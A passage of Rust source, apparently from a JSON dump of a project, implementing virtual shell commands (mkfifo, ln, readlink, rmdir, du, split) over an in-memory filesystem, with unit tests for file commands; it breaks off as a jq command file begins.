if group {\n                    mask |= 0o2000;\n                }\n                if other {\n                    return None;\n                }\n            }\n            't' => {\n                mask |= 0o1000;\n            }\n            _ => return None,\n        }\n    }\n\n    Some(ParsedChmodMode::Symbolic { add, mask })\n}\n\n// ── mkfifo ────────────────────────────────────────────────────────────\n\npub struct MkfifoCommand;\n\nstatic MKFIFO_META: CommandMeta = CommandMeta {\n    name: \"mkfifo\",\n    synopsis: \"mkfifo NAME...\",\n    description: \"Create named pipes.\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for MkfifoCommand {\n    fn name(&self) -> &str {\n        \"mkfifo\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&MKFIFO_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        if args.is_empty() {\n            return CommandResult {\n                stderr: \"mkfifo: missing operand\\n\".into(),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n\n        let mut stderr = String::new();\n        let mut exit_code = 0;\n        for name in args {\n            let path = resolve_path(name, ctx.cwd);\n            if ctx.fs.exists(&path) {\n                stderr.push_str(&format!(\n                    \"mkfifo: cannot create fifo '{}': File exists\\n\",\n                    name\n                ));\n                exit_code = 1;\n                continue;\n            }\n            if let Err(e) = ctx.fs.write_file(&path, b\"\") {\n                stderr.push_str(&format!(\"mkfifo: cannot create fifo '{}': {}\\n\", name, e));\n                exit_code = 1;\n                continue;\n            }\n            if let Err(e) = ctx.fs.chmod(&path, 0o10644) {\n                stderr.push_str(&format!(\"mkfifo: cannot set mode for '{}': {}\\n\", name, e));\n                exit_code = 1;\n            }\n        }\n\n        CommandResult {\n            stderr,\n            exit_code,\n            ..Default::default()\n        }\n    }\n}\n\n// ── ln ───────────────────────────────────────────────────────────────\n\npub struct LnCommand;\n\nstatic LN_META: CommandMeta = CommandMeta {\n    name: \"ln\",\n    synopsis: \"ln [-s] TARGET LINK_NAME\",\n    description: \"Make links between files.\",\n    options: &[(\"-s\", \"make symbolic links instead of hard links\")],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for LnCommand {\n    fn name(&self) -> &str {\n        \"ln\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&LN_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let mut symbolic = false;\n        let mut opts_done = false;\n        let mut operands: Vec<&str> = Vec::new();\n\n        for arg in args {\n            if !opts_done && arg == \"--\" {\n                opts_done = true;\n                continue;\n            }\n            if !opts_done && arg.starts_with('-') && arg.len() > 1 {\n                for c in arg[1..].chars() {\n                    if c == 's' {\n                        symbolic = true;\n                    }\n                }\n            } else {\n                operands.push(arg);\n            }\n        }\n\n        if operands.len() < 2 {\n            return CommandResult {\n                stderr: \"ln: missing file operand\\n\".into(),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n\n        let target_str = operands[0];\n        let link_str = operands[1];\n        let target_path = resolve_path(target_str, ctx.cwd);\n        let link_path = resolve_path(link_str, ctx.cwd);\n\n        let result = if symbolic {\n            ctx.fs.symlink(&target_path, &link_path)\n        } else {\n            ctx.fs.hardlink(&target_path, &link_path)\n        };\n\n        match result {\n            Ok(()) => CommandResult::default(),\n            Err(e) => CommandResult {\n                stderr: format!(\"ln: failed to create link '{}': {}\\n\", link_str, e),\n                exit_code: 1,\n                ..Default::default()\n            },\n        }\n    }\n}\n\n// ── readlink ─────────────────────────────────────────────────────────\n\npub struct ReadlinkCommand;\n\nstatic READLINK_META: CommandMeta = CommandMeta {\n    name: \"readlink\",\n    synopsis: \"readlink [-f|-e|-m] FILE\",\n    description: \"Print resolved symbolic links or canonical file names.\",\n    options: &[\n        (\n            \"-f\",\n            \"canonicalize by following every symlink; all components must exist\",\n        ),\n        (\n            \"-e\",\n            \"like -f, but error if the final component does not exist\",\n        ),\n        (\"-m\", \"canonicalize without existence requirement\"),\n    ],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for ReadlinkCommand {\n    fn name(&self) -> &str {\n        \"readlink\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&READLINK_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let mut mode = 'r'; // default: read one symlink level\n        let mut files: Vec<&str> = Vec::new();\n\n        for arg in args {\n            match arg.as_str() {\n                \"-f\" => mode = 'f',\n                \"-e\" => mode = 'e',\n                \"-m\" => mode = 'm',\n                _ if arg.starts_with('-') && arg.len() > 1 => {\n                    // absorb unknown flags\n                }\n                _ => files.push(arg),\n            }\n        }\n\n        if files.is_empty() {\n            return CommandResult {\n                stderr: \"readlink: missing operand\\n\".into(),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n\n        let mut stdout = String::new();\n        let mut stderr = String::new();\n        let mut exit_code = 0;\n\n        for file in &files {\n            let path = resolve_path(file, ctx.cwd);\n            match mode {\n                'f' | 'e' => match ctx.fs.canonicalize(&path) {\n                    Ok(resolved) => {\n                        if mode == 'e' && !ctx.fs.exists(&resolved) {\n                            stderr.push_str(&format!(\n                                \"readlink: {}: No such file or directory\\n\",\n                                file\n                            ));\n                            exit_code = 1;\n                        } else {\n                            stdout.push_str(&resolved.to_string_lossy());\n                            stdout.push('\\n');\n                        }\n                    }\n                    Err(e) => {\n                        stderr.push_str(&format!(\"readlink: {}: {}\\n\", file, e));\n                        exit_code = 1;\n                    }\n                },\n                'm' => {\n                    // Canonicalize without existence check — just normalize the path\n                    let normalized = normalize_path(&path);\n                    stdout.push_str(&normalized.to_string_lossy());\n                    stdout.push('\\n');\n                }\n                _ => {\n                    // Default: just read the symlink target\n                    match ctx.fs.readlink(&path) {\n                        Ok(target) => {\n                            stdout.push_str(&target.to_string_lossy());\n                            stdout.push('\\n');\n                        }\n                        Err(e) => {\n                            stderr.push_str(&format!(\"readlink: {}: {}\\n\", file, e));\n                            exit_code = 1;\n                        }\n                    }\n                }\n            }\n        }\n\n        CommandResult {\n            stdout,\n            stderr,\n            exit_code,\n            stdout_bytes: None,\n        }\n    }\n}\n\nfn normalize_path(path: &Path) -> PathBuf {\n    let mut components = Vec::new();\n    for comp in path.components() {\n        match comp {\n            std::path::Component::RootDir => {\n                components.clear();\n                components.push(\"/\".to_string());\n            }\n            std::path::Component::CurDir => {}\n            std::path::Component::ParentDir => {\n                if components.len() > 1 {\n                    components.pop();\n                }\n            }\n            std::path::Component::Normal(s) => {\n                components.push(s.to_string_lossy().to_string());\n            }\n            _ => {}\n        }\n    }\n    if components.len() == 1 && components[0] == \"/\" {\n        return PathBuf::from(\"/\");\n    }\n    let mut result = String::new();\n    for (i, c) in components.iter().enumerate() {\n        if i == 0 && c == \"/\" {\n            result.push('/');\n        } else if i == 1 && components[0] == \"/\" {\n            result.push_str(c);\n        } else {\n            result.push('/');\n            result.push_str(c);\n        }\n    }\n    PathBuf::from(result)\n}\n\n// ── rmdir ───────────────────────────────────────────────────────────\n\npub struct RmdirCommand;\n\nstatic RMDIR_META: CommandMeta = CommandMeta {\n    name: \"rmdir\",\n    synopsis: \"rmdir [-p] DIRECTORY...\",\n    description: \"Remove empty directories.\",\n    options: &[(\"-p\", \"remove DIRECTORY and its ancestors\")],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for RmdirCommand {\n    fn name(&self) -> &str {\n        \"rmdir\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&RMDIR_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let mut parents = false;\n        let mut dirs: Vec<&str> = Vec::new();\n\n        for arg in args {\n            match arg.as_str() {\n                \"-p\" | \"--parents\" => parents = true,\n                _ if arg.starts_with('-') && arg.len() > 1 => {}\n                _ => dirs.push(arg),\n            }\n        }\n\n        if dirs.is_empty() {\n            return CommandResult {\n                stderr: \"rmdir: missing operand\\n\".into(),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n\n        let mut stderr = String::new();\n        let mut exit_code = 0;\n\n        for dir in &dirs {\n            let path = resolve_path(dir, ctx.cwd);\n\n            // Check if directory is empty\n            match ctx.fs.readdir(&path) {\n                Ok(entries) => {\n                    if !entries.is_empty() {\n                        stderr.push_str(&format!(\n                            \"rmdir: failed to remove '{}': Directory not empty\\n\",\n                            dir\n                        ));\n                        exit_code = 1;\n                        continue;\n                    }\n                }\n                Err(e) => {\n                    stderr.push_str(&format!(\"rmdir: failed to remove '{}': {}\\n\", dir, e));\n                    exit_code = 1;\n                    continue;\n                }\n            }\n\n            if let Err(e) = ctx.fs.remove_dir(&path) {\n                stderr.push_str(&format!(\"rmdir: failed to remove '{}': {}\\n\", dir, e));\n                exit_code = 1;\n                continue;\n            }\n\n            if parents {\n                let mut current = path.parent().map(|p| p.to_path_buf());\n                while let Some(parent) = current {\n                    if parent == Path::new(\"/\") || parent.as_os_str().is_empty() {\n                        break;\n                    }\n                    match ctx.fs.readdir(&parent) {\n                        Ok(entries) if entries.is_empty() => {\n                            if ctx.fs.remove_dir(&parent).is_err() {\n                                break;\n                            }\n                        }\n                        _ => break,\n                    }\n                    current = parent.parent().map(|p| p.to_path_buf());\n                }\n            }\n        }\n\n        CommandResult {\n            stderr,\n            exit_code,\n            ..Default::default()\n        }\n    }\n}\n\n// ── du ──────────────────────────────────────────────────────────────\n\npub struct DuCommand;\n\nstatic DU_META: CommandMeta = CommandMeta {\n    name: \"du\",\n    synopsis: \"du [-shad N] [FILE...]\",\n    description: \"Estimate file space usage.\",\n    options: &[\n        (\"-s\", \"display only a total for each argument\"),\n        (\"-h\", \"print sizes in human readable format\"),\n        (\"-a\", \"write counts for all files, not just directories\"),\n        (\n            \"-d N\",\n            \"print total for a directory only if it is N or fewer levels below\",\n        ),\n    ],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for DuCommand {\n    fn name(&self) -> &str {\n        \"du\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&DU_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let mut summary = false;\n        let mut human = false;\n        let mut all_files = false;\n        let mut max_depth: Option<usize> = None;\n        let mut targets: Vec<&str> = Vec::new();\n        let mut i = 0;\n\n        while i < args.len() {\n            let arg = &args[i];\n            if arg == \"-s\" {\n                summary = true;\n            } else if arg == \"-h\" {\n                human = true;\n            } else if arg == \"-a\" {\n                all_files = true;\n            } else if arg == \"-d\" {\n                i += 1;\n                if i < args.len() {\n                    max_depth = args[i].parse().ok();\n                }\n            } else if let Some(val) = arg.strip_prefix(\"-d\") {\n                max_depth = val.parse().ok();\n            } else if arg.starts_with('-') && arg.len() > 1 {\n                // combined flags\n                for c in arg[1..].chars() {\n                    match c {\n                        's' => summary = true,\n                        'h' => human = true,\n                        'a' => all_files = true,\n                        _ => {}\n                    }\n                }\n            } else {\n                targets.push(arg);\n            }\n            i += 1;\n        }\n\n        if targets.is_empty() {\n            targets.push(\".\");\n        }\n\n        let mut stdout = String::new();\n        let mut stderr = String::new();\n        let mut exit_code = 0;\n\n        let opts = DuOpts {\n            max_depth,\n            summary,\n            human,\n            all_files,\n        };\n\n        for target in &targets {\n            let path = resolve_path(target, ctx.cwd);\n            match du_walk(ctx, &path, target, 0, &opts) {\n                Ok((size, output)) => {\n                    if opts.summary {\n                        stdout.push_str(&format!(\n                            \"{}\\t{}\\n\",\n                            format_du_size(size, opts.human),\n                            target\n                        ));\n                    } else {\n                        stdout.push_str(&output);\n                    }\n                }\n                Err(e) => {\n                    stderr.push_str(&format!(\"du: cannot access '{}': {}\\n\", target, e));\n                    exit_code = 1;\n                }\n            }\n        }\n\n        CommandResult {\n            stdout,\n            stderr,\n            exit_code,\n            stdout_bytes: None,\n        }\n    }\n}\n\nstruct DuOpts {\n    max_depth: Option<usize>,\n    summary: bool,\n    human: bool,\n    all_files: bool,\n}\n\nfn du_walk(\n    ctx: &CommandContext,\n    path: &Path,\n    display: &str,\n    depth: usize,\n    opts: &DuOpts,\n) -> Result<(u64, String), String> {\n    let meta = ctx.fs.stat(path).map_err(|e| e.to_string())?;\n\n    if meta.node_type != NodeType::Directory {\n        return Ok((meta.size, String::new()));\n    }\n\n    let entries = ctx.fs.readdir(path).map_err(|e| e.to_string())?;\n    let mut total = 0u64;\n    let mut output = String::new();\n\n    for entry in &entries {\n        let child_path = path.join(&entry.name);\n        let child_display = if display == \".\" {\n            format!(\"./{}\", entry.name)\n        } else {\n            format!(\"{}/{}\", display, entry.name)\n        };\n\n        match entry.node_type {\n            NodeType::Directory => {\n                let (child_size, child_output) =\n                    du_walk(ctx, &child_path, &child_display, depth + 1, opts)?;\n                total += child_size;\n                if !opts.summary {\n                    output.push_str(&child_output);\n                }\n            }\n            _ => {\n                if let Ok(m) = ctx.fs.stat(&child_path) {\n                    total += m.size;\n                    if opts.all_files\n                        && !opts.summary\n                        && (opts.max_depth.is_none() || depth < opts.max_depth.unwrap())\n                    {\n                        output.push_str(&format!(\n                            \"{}\\t{}\\n\",\n                            format_du_size(m.size, opts.human),\n                            child_display\n                        ));\n                    }\n                }\n            }\n        }\n    }\n\n    if !opts.summary && (opts.max_depth.is_none() || depth <= opts.max_depth.unwrap()) {\n        output.push_str(&format!(\n            \"{}\\t{}\\n\",\n            format_du_size(total, opts.human),\n            display\n        ));\n    }\n\n    Ok((total, output))\n}\n\nfn format_du_size(size: u64, human: bool) -> String {\n    if !human {\n        // du reports in 1024-byte blocks by default\n        return size.div_ceil(1024).to_string();\n    }\n    if size < 1024 {\n        format!(\"{}B\", size)\n    } else if size < 1024 * 1024 {\n        format!(\"{:.1}K\", size as f64 / 1024.0)\n    } else if size < 1024 * 1024 * 1024 {\n        format!(\"{:.1}M\", size as f64 / (1024.0 * 1024.0))\n    } else {\n        format!(\"{:.1}G\", size as f64 / (1024.0 * 1024.0 * 1024.0))\n    }\n}\n\n// ── split ───────────────────────────────────────────────────────────\n\npub struct SplitCommand;\n\nstatic SPLIT_META: CommandMeta = CommandMeta {\n    name: \"split\",\n    synopsis: \"split [-l LINES] [-b BYTES] [-a SUFFIX_LEN] [FILE [PREFIX]]\",\n    description: \"Split a file into pieces.\",\n    options: &[\n        (\"-l LINES\", \"put LINES lines per output file (default 1000)\"),\n        (\"-b BYTES\", \"put BYTES bytes per output file\"),\n        (\"-a N\", \"generate suffixes of length N (default 2)\"),\n    ],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for SplitCommand {\n    fn name(&self) -> &str {\n        \"split\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&SPLIT_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let mut lines_per_file: Option<usize> = None;\n        let mut bytes_per_file: Option<usize> = None;\n        let mut suffix_len: usize = 2;\n        let mut input_file: Option<&str> = None;\n        let mut prefix = \"x\";\n        let mut i = 0;\n\n        while i < args.len() {\n            let arg = &args[i];\n            if arg == \"-l\" {\n                i += 1;\n                if i < args.len() {\n                    lines_per_file = args[i].parse().ok();\n                }\n            } else if arg == \"-b\" {\n                i += 1;\n                if i < args.len() {\n                    bytes_per_file = args[i].parse().ok();\n                }\n            } else if arg == \"-a\" {\n                i += 1;\n                if i < args.len() {\n                    suffix_len = args[i].parse().unwrap_or(2);\n                }\n            } else if arg.starts_with('-') && arg.len() > 1 {\n                // Try combined: -l5, etc.\n                if let Some(v) = arg.strip_prefix(\"-l\") {\n                    lines_per_file = v.parse().ok();\n                } else if let Some(v) = arg.strip_prefix(\"-b\") {\n                    bytes_per_file = v.parse().ok();\n                } else if let Some(v) = arg.strip_prefix(\"-a\") {\n                    suffix_len = v.parse().unwrap_or(2);\n                }\n            } else if arg == \"--\" {\n                // skip\n            } else if input_file.is_none() {\n                input_file = Some(arg.as_str());\n            } else {\n                prefix = arg.as_str();\n            }\n            i += 1;\n        }\n\n        let data = match input_file {\n            Some(\"-\") | None => ctx.stdin.as_bytes().to_vec(),\n            Some(f) => {\n                let path = resolve_path(f, ctx.cwd);\n                match ctx.fs.read_file(&path) {\n                    Ok(d) => d,\n                    Err(e) => {\n                        return CommandResult {\n                            stderr: format!(\"split: {}: {}\\n\", f, e),\n                            exit_code: 1,\n                            ..Default::default()\n                        };\n                    }\n                }\n            }\n        };\n\n        let chunks: Vec<Vec<u8>> = if let Some(n) = bytes_per_file {\n            if n == 0 {\n                return CommandResult {\n                    stderr: \"split: invalid number of bytes: 0\\n\".into(),\n                    exit_code: 1,\n                    ..Default::default()\n                };\n            }\n            data.chunks(n).map(|c| c.to_vec()).collect()\n        } else {\n            let n = lines_per_file.unwrap_or(1000);\n            if n == 0 {\n                return CommandResult {\n                    stderr: \"split: invalid number of lines: 0\\n\".into(),\n                    exit_code: 1,\n                    ..Default::default()\n                };\n            }\n            let content = String::from_utf8_lossy(&data);\n            let lines: Vec<&str> = content.lines().collect();\n            lines\n                .chunks(n)\n                .map(|chunk| {\n                    let mut s = chunk.join(\"\\n\");\n                    if !s.is_empty() {\n                        s.push('\\n');\n                    }\n                    s.into_bytes()\n                })\n                .collect()\n        };\n\n        let mut stderr = String::new();\n        let mut exit_code = 0;\n\n        for (idx, chunk) in chunks.iter().enumerate() {\n            let suffix = match split_suffix(idx, suffix_len) {\n                Some(s) => s,\n                None => {\n                    return CommandResult {\n                        stderr: \"split: output file suffixes exhausted\\n\".into(),\n                        exit_code: 1,\n                        ..Default::default()\n                    };\n                }\n            };\n            let filename = format!(\"{}{}\", prefix, suffix);\n            let path = resolve_path(&filename, ctx.cwd);\n            if let Err(e) = ctx.fs.write_file(&path, chunk) {\n                stderr.push_str(&format!(\"split: {}: {}\\n\", filename, e));\n                exit_code = 1;\n            }\n        }\n\n        CommandResult {\n            stderr,\n            exit_code,\n            ..Default::default()\n        }\n    }\n}\n\nfn split_suffix(idx: usize, len: usize) -> Option<String> {\n    let max = 26usize.pow(len as u32);\n    if idx >= max {\n        return None;\n    }\n    let mut suffix = String::with_capacity(len);\n    let mut remaining = idx;\n    for i in (0..len).rev() {\n        let divisor = 26usize.pow(i as u32);\n        let ch = (remaining / divisor) as u8 + b'a';\n        suffix.push(ch as char);\n        remaining %= divisor;\n    }\n    Some(suffix)\n}\n\n#[cfg(test)]\nmod tests {\n    use super::*;\n    use crate::commands::{CommandContext, VirtualCommand};\n    use crate::interpreter::ExecutionLimits;\n    use crate::network::NetworkPolicy;\n    use crate::vfs::{InMemoryFs, VirtualFs};\n    use std::collections::HashMap;\n    use std::sync::Arc;\n\n    fn setup() -> (\n        Arc<InMemoryFs>,\n        HashMap<String, String>,\n        ExecutionLimits,\n        NetworkPolicy,\n    ) {\n        let fs = Arc::new(InMemoryFs::new());\n        fs.write_file(Path::new(\"/file1.txt\"), b\"hello\\n\").unwrap();\n        fs.write_file(Path::new(\"/file2.txt\"), b\"world\\n\").unwrap();\n        fs.mkdir_p(Path::new(\"/dir1\")).unwrap();\n        fs.write_file(Path::new(\"/dir1/a.txt\"), b\"aaa\\n\").unwrap();\n        (\n            fs,\n            HashMap::new(),\n            ExecutionLimits::default(),\n            NetworkPolicy::default(),\n        )\n    }\n\n    fn ctx<'a>(\n        fs: &'a dyn crate::vfs::VirtualFs,\n        env: &'a HashMap<String, String>,\n        limits: &'a ExecutionLimits,\n        network_policy: &'a NetworkPolicy,\n    ) -> CommandContext<'a> {\n        CommandContext {\n            fs,\n            cwd: \"/\",\n            env,\n            variables: None,\n            stdin: \"\",\n            stdin_bytes: None,\n            limits,\n            network_policy,\n            exec: None,\n            shell_opts: None,\n        }\n    }\n\n    // ── cp tests ─────────────────────────────────────────────────────\n\n    #[test]\n    fn cp_basic_file() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = CpCommand.execute(&[\"file1.txt\".into(), \"copy.txt\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert_eq!(fs.read_file(Path::new(\"/copy.txt\")).unwrap(), b\"hello\\n\");\n    }\n\n    #[test]\n    fn cp_into_directory() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = CpCommand.execute(&[\"file1.txt\".into(), \"dir1\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert_eq!(\n            fs.read_file(Path::new(\"/dir1/file1.txt\")).unwrap(),\n            b\"hello\\n\"\n        );\n    }\n\n    #[test]\n    fn cp_recursive() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = CpCommand.execute(&[\"-r\".into(), \"dir1\".into(), \"dir2\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert_eq!(fs.read_file(Path::new(\"/dir2/a.txt\")).unwrap(), b\"aaa\\n\");\n    }\n\n    #[test]\n    fn cp_dir_without_r_fails() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = CpCommand.execute(&[\"dir1\".into(), \"dir2\".into()], &c);\n        assert_eq!(r.exit_code, 1);\n        assert!(r.stderr.contains(\"omitting directory\"));\n    }\n\n    #[test]\n    fn cp_missing_operand() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = CpCommand.execute(&[\"file1.txt\".into()], &c);\n        assert_eq!(r.exit_code, 1);\n    }\n\n    #[test]\n    fn cp_nonexistent_source() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = CpCommand.execute(&[\"nope.txt\".into(), \"out.txt\".into()], &c);\n        assert_eq!(r.exit_code, 1);\n        assert!(r.stderr.contains(\"cannot stat\"));\n    }\n\n    // ── mv tests ─────────────────────────────────────────────────────\n\n    #[test]\n    fn mv_basic() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = MvCommand.execute(&[\"file1.txt\".into(), \"moved.txt\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert!(fs.read_file(Path::new(\"/moved.txt\")).is_ok());\n        assert!(!fs.exists(Path::new(\"/file1.txt\")));\n    }\n\n    #[test]\n    fn mv_into_directory() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = MvCommand.execute(&[\"file1.txt\".into(), \"dir1\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert!(fs.read_file(Path::new(\"/dir1/file1.txt\")).is_ok());\n    }\n\n    #[test]\n    fn mv_missing_operand() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = MvCommand.execute(&[\"file1.txt\".into()], &c);\n        assert_eq!(r.exit_code, 1);\n    }\n\n    // ── rm tests ─────────────────────────────────────────────────────\n\n    #[test]\n    fn rm_file() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = RmCommand.execute(&[\"file1.txt\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert!(!fs.exists(Path::new(\"/file1.txt\")));\n    }\n\n    #[test]\n    fn rm_force_nonexistent() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = RmCommand.execute(&[\"-f\".into(), \"nope.txt\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n    }\n\n    #[test]\n    fn rm_dir_without_r_fails() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = RmCommand.execute(&[\"dir1\".into()], &c);\n        assert_eq!(r.exit_code, 1);\n        assert!(r.stderr.contains(\"Is a directory\"));\n    }\n\n    #[test]\n    fn rm_recursive_dir() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = RmCommand.execute(&[\"-rf\".into(), \"dir1\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert!(!fs.exists(Path::new(\"/dir1\")));\n    }\n\n    #[test]\n    fn rm_no_args() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = RmCommand.execute(&[], &c);\n        assert_eq!(r.exit_code, 1);\n    }\n\n    #[test]\n    fn rm_force_no_args() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = RmCommand.execute(&[\"-f\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n    }\n\n    // ── tee tests ────────────────────────────────────────────────────\n\n    #[test]\n    fn tee_write_to_file_and_stdout() {\n        let (fs, env, limits, np) = setup();\n        let c = CommandContext {\n            fs: &*fs,\n            cwd: \"/\",\n            env: &env,\n            variables: None,\n            stdin: \"piped data\",\n            stdin_bytes: None,\n            limits: &limits,\n            network_policy: &np,\n            exec: None,\n            shell_opts: None,\n        };\n        let r = TeeCommand.execute(&[\"output.txt\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert_eq!(r.stdout, \"piped data\");\n        assert_eq!(\n            fs.read_file(Path::new(\"/output.txt\")).unwrap(),\n            b\"piped data\"\n        );\n    }\n\n    #[test]\n    fn tee_append() {\n        let (fs, env, limits, np) = setup();\n        let c = CommandContext {\n            fs: &*fs,\n            cwd: \"/\",\n            env: &env,\n            variables: None,\n            stdin: \"more\",\n            stdin_bytes: None,\n            limits: &limits,\n            network_policy: &np,\n            exec: None,\n            shell_opts: None,\n        };\n        let r = TeeCommand.execute(&[\"-a\".into(), \"file1.txt\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert_eq!(\n            fs.read_file(Path::new(\"/file1.txt\")).unwrap(),\n            b\"hello\\nmore\"\n        );\n    }\n\n    // ── stat tests ───────────────────────────────────────────────────\n\n    #[test]\n    fn stat_file() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = StatCommand.execute(&[\"file1.txt\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert!(r.stdout.contains(\"file1.txt\"));\n        assert!(r.stdout.contains(\"regular file\"));\n    }\n\n    #[test]\n    fn stat_directory() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = StatCommand.execute(&[\"dir1\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert!(r.stdout.contains(\"directory\"));\n    }\n\n    #[test]\n    fn stat_nonexistent() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = StatCommand.execute(&[\"nope\".into()], &c);\n        assert_eq!(r.exit_code, 1);\n    }\n\n    // ── chmod tests ──────────────────────────────────────────────────\n\n    #[test]\n    fn chmod_basic() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = ChmodCommand.execute(&[\"755\".into(), \"file1.txt\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        let meta = fs.stat(Path::new(\"/file1.txt\")).unwrap();\n        assert_eq!(meta.mode, 0o755);\n    }\n\n    #[test]\n    fn chmod_invalid_mode() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = ChmodCommand.execute(&[\"xyz\".into(), \"file1.txt\".into()], &c);\n        assert_eq!(r.exit_code, 1);\n        assert!(r.stderr.contains(\"invalid mode\"));\n    }\n\n    #[test]\n    fn chmod_missing_operand() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = ChmodCommand.execute(&[\"755\".into()], &c);\n        assert_eq!(r.exit_code, 1);\n    }\n\n    // ── ln tests ─────────────────────────────────────────────────────\n\n    #[test]\n    fn ln_symbolic() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = LnCommand.execute(&[\"-s\".into(), \"file1.txt\".into(), \"link.txt\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        let meta = fs.lstat(Path::new(\"/link.txt\")).unwrap();\n        assert_eq!(meta.node_type, NodeType::Symlink);\n    }\n\n    #[test]\n    fn ln_hard() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = LnCommand.execute(&[\"file1.txt\".into(), \"hard.txt\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert_eq!(fs.read_file(Path::new(\"/hard.txt\")).unwrap(), b\"hello\\n\");\n    }\n\n    #[test]\n    fn ln_missing_operand() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = LnCommand.execute(&[\"file1.txt\".into()], &c);\n        assert_eq!(r.exit_code, 1);\n    }\n\n    // ── double-dash tests ────────────────────────────────────────────\n\n    #[test]\n    fn cp_double_dash() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx(&*fs, &env, &limits, &np);\n        let r = CpCommand.execute(&[\"--\".into(), \"file1.txt\".into(), \"dd.txt\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert_eq!(fs.read_file(Path::new(\"/dd.txt\")).unwrap(), b\"hello\\n\");\n    }\n}\n","/home/user/src/commands/jq_cmd.rs":"use crate::commands::{CommandContext, CommandMeta, CommandResult, VirtualCommand};\nuse jaq_core::load::{Arena, File, Loader};\nuse jaq_core::{Ctx, Vars, data, unwrap_valr};\nuse jaq_json::Val;\nuse std::path::PathBuf;\n\npub struct JqCommand;\n\nstatic JQ_META: CommandMeta = CommandMeta {\n    name: \"jq\",\n    synopsis: \"jq [OPTIONS] FILTER [FILE ...]\",\n    description: \"Command-line JSON processor.\",\n    options: &[\n        (\"-r, --raw-output\", \"output raw strings, not JSON texts\"),\n        (\"-c, 